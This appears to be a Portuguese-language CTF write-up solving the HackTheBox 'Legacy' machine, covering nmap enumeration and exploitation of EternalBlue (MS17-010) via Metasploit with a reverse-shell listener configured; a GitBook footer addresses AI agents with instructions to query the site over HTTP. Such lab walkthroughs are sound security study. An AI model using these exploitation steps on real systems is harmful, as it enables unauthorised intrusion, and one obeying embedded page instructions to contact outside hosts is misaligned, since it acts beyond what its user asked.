> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# Resolução da máquina Legacy do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração SMB
* Exploração do EternalBlue (MS17-010) (Exploit Triple Z)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/f9903073ce894fc6dc90abb1a9c5dc55d4d66613" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/652db6566ff8a093d3454a2ac0be1dfe02d718ce" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.4 -oG allPorts
```

<figure><img src="/files/28be07b019349ffda58d888be6089910fc7a4d19" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Usando a função extractPorts para exibir de forma concisa as portas abertas e copiá-las para a área de transferência (135,139,445)

<figure><img src="/files/87d6ca0db75224cb4d9a9bc733995ec7164cac83" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versão de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p135,139,445 10.10.10.4 -oN targeted
```

<figure><img src="/files/103a5580bedcdac68f6b8dfe71fc1d4f00600b3e" alt=""><figcaption></figcaption></figure>

## Exploração do EternalBlue - SMB (MS17-010)

A análise do Nmap nos diz que o servidor-alvo executa uma versão do Windows XP, permitindo-nos tentar explorar a vulnerabilidade MS17-010.

Iniciamos uma varredura com o Nmap para verificar a presença dessa vulnerabilidade:

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

Essa varredura confirma que a máquina é vulnerável ao MS17-010.

<figure><img src="/files/f79e610ab20cbd053096de1ac166e853498c419c" alt=""><figcaption></figcaption></figure>

### **Exploração com o Metasploit**

Estamos procurando o exploit no Metasploit:

```
msfconsole 
search eternalblue 
```

Selecionamos o primeiro exploit listado:

```
use 1
```

<figure><img src="/files/02bde51ce220da4ab69f0c57ce64067a36c61165" alt=""><figcaption></figcaption></figure>

Configuramos as opções:

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="/files/9e786a9578528ebf52ecdf588802de0e58d6c77d" alt="" width="563"><figcaption></figcaption></figure>

Então iniciamos o exploit:

<figure><img src="/files/ded0fb71ab18b9b403fb80b203a12ef76ad690ce" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/af73d2e51dc27200f2471810fd391e2c8eeea7cf" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/b8685849c5ff20642f62fb082e5d7a54ee2284c3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f6270c1597f41e7ffaef609e577b61bf7c95d63b" alt="" width="514"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
